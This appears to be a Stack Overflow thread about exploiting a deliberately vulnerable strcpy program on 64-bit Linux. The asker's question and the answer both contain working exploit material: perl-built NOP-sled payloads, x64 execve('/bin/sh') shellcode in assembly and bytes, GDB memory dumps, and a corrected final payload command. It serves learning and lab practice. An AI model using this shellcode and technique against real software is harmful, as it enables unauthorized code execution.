Reputation: 1183
I'm trying to execute a buffer overflow exploit using this tutorial Everything in my post will be execute directly inside GDB.
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
and this is the code on which I would like to exploit a buffer overflow.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
I'm currently working on Linux mint 18 and I have a processor 64bits. Given I have a 64bits architecture. Every address is on 8 bytes. And now lets imagine my current stakframe.
| buff[256] |
| RBP |
| SAVE RIP |
My goal is to overwrite the "SAVE RIP" by the address of my "nop sled". Given I'm on an 64bits architecture. I'm going to fill the variable buff with 256 + 8 charactere. the 8 charactere will serve to overwrite the RBP pointer. I'm going to overwrite using perl.
perl -e 'print "\x90" x 264'
And then using the shellcode which is provide in the tutorial I followed
perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
I subtracted 26 because the shellcode is of length 26.
And now. I'm going to find out what is the address of my nop sled using GDB.
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <printf@plt>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <exit@plt>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <puts@plt>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret
I add a breakpoint juste after the strcpy function. and I'm trying to to find out the begining of the sled nop using
x/x $rsp
which show me
0x7fffffffde20: 0xffffe018
Then I'm going to do
x/s 0x7fffffffde20
and press 'Enter' until I find what I'm looking for.
And now, come the second problem. I found two different address which seem contain the nop sled
0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
and
0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
Not knowing which one to choose, I decided to try both of them. However assuming that I'm using the first one, more precisely 0x7fffffffde30. (without forget to take car of the endianess).
I'll try to execute my code using the following command line:
(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`
then I verify if the RIP was correctly overwrite by the desire address.
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)
And we can see that the saved RIP was successfully overwrite by the desire address. The main problem now is when I press "Continue" my program segfault without open any shell. I follow exactly what it explain in the tutorial so does anyone can explain me:
-Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?
-I found out two different address which contain my nop sled, which one have I to choose ?
-And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.
Thanks
I'm compiling using this way
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack
EDIT:
Thank you for you comment. I did what you told me but it still segfault.
Hello @russtone.
Thank you for you answer, I did what you told me but it still segfault.
`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
I use this address without forget the endianess.
"0x7fffffffdc80"
which give me
"\x80\xdc\xff\xff\xff\x7f"
So the final command in GDB is
(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`
and then
continue
which display
Continuing. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�WW^ZH�//bin/shH�WT_j;X�����
Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd80 in ?? ()
Thanks
Upvotes: 4
Views: 2626
Reputation: 410
Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?
In your example segmentation fault occurs when a program attempts to access a memory at address 0x30deffffff7f
which doesn't belong to it. You wanted to overwrite RIP with 0x7fffffffde30
instead of 0x30deffffff7f
but you pass wrong payload. Because you have little-endian architecture in your payload instead of:
... "\x7f\xff\xff\xff\xde\x30"
you need to pass:
... "\x30\xde\xff\xff\xff\x7e"
Also I'm not sure that address of you shellcode is 0x7fffffffde30
because x/s $rsp
isn't best way to know it. It is better to use something like:
(gdb) x/300bx $rsp
0x7fffffffd220: 0x18 0xd4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd228: 0xf6 0x77 0xde 0xf7 0x02 0x00 0x00 0x00
0x7fffffffd230: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd238: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd240: 0x90 0x90 0x90 0x90 0x48 0x31 0xff 0x57
0x7fffffffd248: 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62
0x7fffffffd250: 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef
0x7fffffffd258: 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f
0x7fffffffd260: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd268: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd270: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd278: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd280: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd288: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd290: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd298: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd338: 0x40 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd340: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd348: 0x18 0xd4 0xff 0xff
In above example shelcode is "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
and address for it can be something like 0x7fffffffd240
.
I found out two different address which contain my nop sled, which one have I to choose ?
The first address you find is your buffer char buff[256]
and the second is argv[1]
. Unix-like systems put argv
on the stack so in your example it does not matter which to choose. But in general (for any OS) you need to use the address of char buff[256]
.
And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.
The first thing which I have already mentioned above is endianness. You have little-endian machine so you need to pass \x30\xde\xff\xff\xff\x7e
instead of \x7f\xff\xff\xff\xde\x30
.
The second thing is your shellcode. You are using shellcode from example for x86 program but you need shellcode for x64. You can use something like this:
SECTION .text
global _start
_start:
xor rdi, rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f2f ; hs/nib//
shr rdi, 8 ; \x00hs/nib/
push rdi
push rsp
pop rdi
push 0x3b ; execve
pop rax
syscall
Which in bytecode will be:
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
Hope this helps. Good luck!
UPDATE
Ok, so now you overwritten the rip
and according to output of gdb you successfully jumped to correct address.
The problem now is that you shell code is too close to buffer bound.
Thus you get the picture:
Then at the end of main
function after commands
leave
ret
you jumped to addr_1
and rsp = addr_2 + 8
(after leave
i.e. mov rsp, rbp; pop rbp
). But at the start of shell code you can see 2 push
instructions after executions of which $rsp = addr_2 + 8 - 16 = addr_2 - 8
. But addr_2 - 8
is last 8 bytes of your shell code! Thus your shell code overwrites itself and you get segfault.
To avoid this you can just put your shell code somewhere in the middle of buf
:
(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`
Upvotes: 6